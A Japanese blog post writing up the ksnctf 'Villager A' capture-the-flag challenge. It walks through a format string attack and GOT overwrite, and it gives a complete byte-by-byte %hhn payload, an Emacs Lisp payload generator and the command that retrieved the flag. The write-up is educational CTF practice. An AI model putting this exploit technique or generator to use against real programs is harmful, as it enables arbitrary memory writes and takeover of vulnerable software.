日記: CTF やってみた(3)

昨日解けなかった問題をちゃんと予習してリベンジしたので、考えた過程などの記録。

以下例によってネタバレを含むので見たくない人は注意です。

ksnctf 4 Villager A

開けない「flag.txt」と謎の実行ファイル「q4」が置いてあるサーバーが与えられる。

「q4」を逆アセンブルして、どうやらアドレス 0x80499e0 に値 0x8048691 を仕込めれば良いことがありそうなこと、そのためにフォーマット文字列攻撃が使えそうなことまで前回わかった。

/* C 風に書き下したもの */
int main (void) {
   char buf[1024];
   int flg;

   puts("What's your name ?");
   fgets(buf, 1024, stdin);
   
   printf("Hi, ");
   printf(buf); /* ここで 0x80499e0 に 0x8048691 を仕込みたい */
   putchar('\n');
   
   ...
}

フォーマット文字列攻撃の定石(?)を予習してきたので、今日は実際に攻撃用の文字列を作るところから。この種のフォーマット文字列攻撃は、 GOT overwrite 呼ばれていて典型問題らしい。

アセンブリを読んで、 printf が呼ばれた時の main 関数のスタックがこんな感じになっていることはわかっている。

スクリーンショット 2021-03-13 16.06.38

ユーザー入力の入ったバッファ(へのポインタ)が直接 printf に渡されている。ので、ここに良い感じのフォーマット文字列を仕込めばメモリの中身を見たりできる。たとえば %x と入力すれば、 printf 目線で第二引数に相当するアドレス(%esp-4)に入っている値が見える。

What's your name?
%x
Hi, 400

スクリーンショット 2021-03-13 16.59.03

今回の問題では、ユーザー入力の入ったバッファが %esp-24 から始まっていることがわかっていて、これは printf 目線で第七引数に相当する場所なので、たとえば %x を6つ並べると自分の入れた入力が見える(A の ASCII コードは 41 なので、 AAAA は 414141)。

What's your name?
AAAA/%x/%x/%x/%x/%x/%x
Hi, AAAA/400/f7cd9580/ffe68b58/6/0/41414141

スクリーンショット 2021-03-13 17.00.04

実は、 %x を 6 つ並べなくても、 %6$x と書けば一撃で第七引数にアクセスすることもできる。

What's your name?
AAAA/%6$x
Hi, AAAA/41414141

ところで printf のフォーマット文字列には %n というヤバい奴がいて、これが書かれた場合、「そこまでに出力したバイト数」が引数で与えられたアドレスに書き込まれる(ヤバい)。

たとえばこんな感じで使える:

printf("hoge%n", &count);
printf("%d", count); /* => hoge は 4 バイトなので、 4 と出る */

複数組み合わせればこんな感じ:

printf("%s%n%s%n", "hoge", &count1, "piyo", &count2);
printf("%d", count1); /* => hoge は 4 バイトなので、 4 */
printf("%d", count2); /* => hogepiyo は 8 バイトなので、 8 */

ここでも %6$n みたいな記法が使えて、これを利用するとたとえば第七引数のアドレスに直接値を書き込んだりできる。

printf("hoge%6$n", arg2, arg3, arg4, arg5, arg6, &arg7);
printf("%d", arg7); /* => 4 */

ところで今回の問題では、第七引数以降が入力バッファと被っているので、これを利用すれば書き換えるアドレスをこちらで指定することができる。

たとえばこんな感じ:

$ echo -e '\xdd\xcc\xbb\xaa%6$n' | ./q4
What's your name?
Segmentation fault

\xdd\xcc\xbb\xaa の後に %6$n が書かれているので、 printf は第七引数で指定されたアドレスに値 4 (\xdd\xcc\xbb\xaa は4バイト)を書きに行く。ところで第七引数(に相当するアドレス)はフォーマット文字列自身なので、そこには \xdd\xcc\xbb\xaa が書かれている。これをアドレスとして解釈すると 0xaabbccdd になる(リトルエンディアンなので順番が逆)から、 printf はメモリ上の番地 0xaabbccdd に 4 を書き込もうとする。で、死ぬ。

書き込まれる値はそこまでに出力したバイト数なので、たとえば %46c と書いて適当に 46 バイトかさ増しすれば、 \xdd\xcc\xbb\xaa の4バイトと合わせて 50 バイトになるから、 0xaabbccdd に 50 と書き込むことができる。

$ echo -e '\xdd\xcc\xbb\xaa%46c%6$n' | ./q4
What's your name?
Segmentation fault

これでメモリ上の好きな場所を好きな値に書き換えられるようになった。けど、今回書き込みたい値 0x8048691 はデカい。1億バイト以上出力させる必要があって大変なので、4バイトのメモリ領域を1バイトづつ4回に分けて書き込むというテクニックを拝借する。

%n には %hn とか %hhn などの派生形があって、 %hn を使うと2バイト、 %hhn を使うと1バイトだけ書き込むことができる。1バイトなら最大でも 255 なので、そんなにひどいことにはならない。というわけで、

・0x080499e0 に 0x8048691 を書き込む

の代わりに、

・0x080499e0 に 0x91 を書き込む
・0x080499e1 に 0x86 を書き込む
・0x080499e2 に 0x04 を書き込む
・0x080499e3 に 0x08 を書き込む

を目標にする。

とりあえず書き込み先の4つのアドレスは積んでおく必要がありそう。

\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08 ...

スクリーンショット 2021-03-13 17.29.31

まずは第七引数に積んである一つ目のアドレス 0x80499e0 に 0x91 を書き込む。 0x91 は 145 なので、 145 バイト出力させてから %6$hhn を実行すれば良い。アドレスを4つ積むためにすでに 16 バイト使っているので、必要なカサ増しは 145 - 16 = 129 バイト。というわけで %129c%6$hhn を追加。

\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn ...

次は第八引数に積んである二つ目のアドレス 0x80499e1 に 0x86 を書き込みたい。 0x86 は 134 なので、 134 バイト出力させてから %6$hhn を実行すれば良いけど、すでに 145 バイト出力してしまっている。ので、桁上がりさせて 0x186 = 390 にする。必要なカサ増しは 390 - 145 = 245 バイトなので、 %245c%7$hhn を追加。

\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn ...

以下同様に残りの2バイトを書き込むための文字列も追加してやると、こんな感じになる。

\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn

なお、実際には手書きせずにコードで生成した。

;; 7-th arg is the buffer
(defconst format-string-offset 6)

(defun hex-digit (val) (if (>= val 10) (+ (- val 10) ?a) (+ val ?0)))
(defun hex-byte (val) (string (hex-digit (mod (/ val 16) 16)) (hex-digit (mod val 16))))

(defun format-addr (addr)
 (concat "\\x" (hex-byte (mod addr 256))
         "\\x" (hex-byte (mod (/ addr 256) 256))
         "\\x" (hex-byte (mod (/ addr 256 256) 256))
         "\\x" (hex-byte (mod (/ addr 256 256 256) 256))))

(defun gen-exploit (word-addr word-value)
 "Generate an exploit format string to write a word to an arbitrary address."
 (let* ((str (concat (format-addr word-addr)
                     (format-addr (+ word-addr 1))
                     (format-addr (+ word-addr 2))
                     (format-addr (+ word-addr 3))))
        (current-lsb (* 4 4)))
   (dotimes (n 4)
     (setq str (concat str
                       "%" (number-to-string (mod (- (mod word-value 256) current-lsb) 256)) "c"
                       "%" (number-to-string (+ format-string-offset n)) "$hhn")
           current-lsb (mod word-value 256)
           word-value (/ word-value 256)))
   str))

(insert (gen-exploit #x80499e0 #x8048691))

完成した怪しい文字列を僕の名前だと主張すると、 FLAG が取れた。

$ echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4
What's your name?
Hi, (やばい文字列)
FLAG_xxxxxxxxxxxxxxxx

これ shellcode 仕込んでそこに飛ばせれば直接 flag.txt 見れるのかな?と思ってちょっと試してみたけどうまくいかなかったのでやめ。


この記事が気に入ったらサポートをしてみませんか?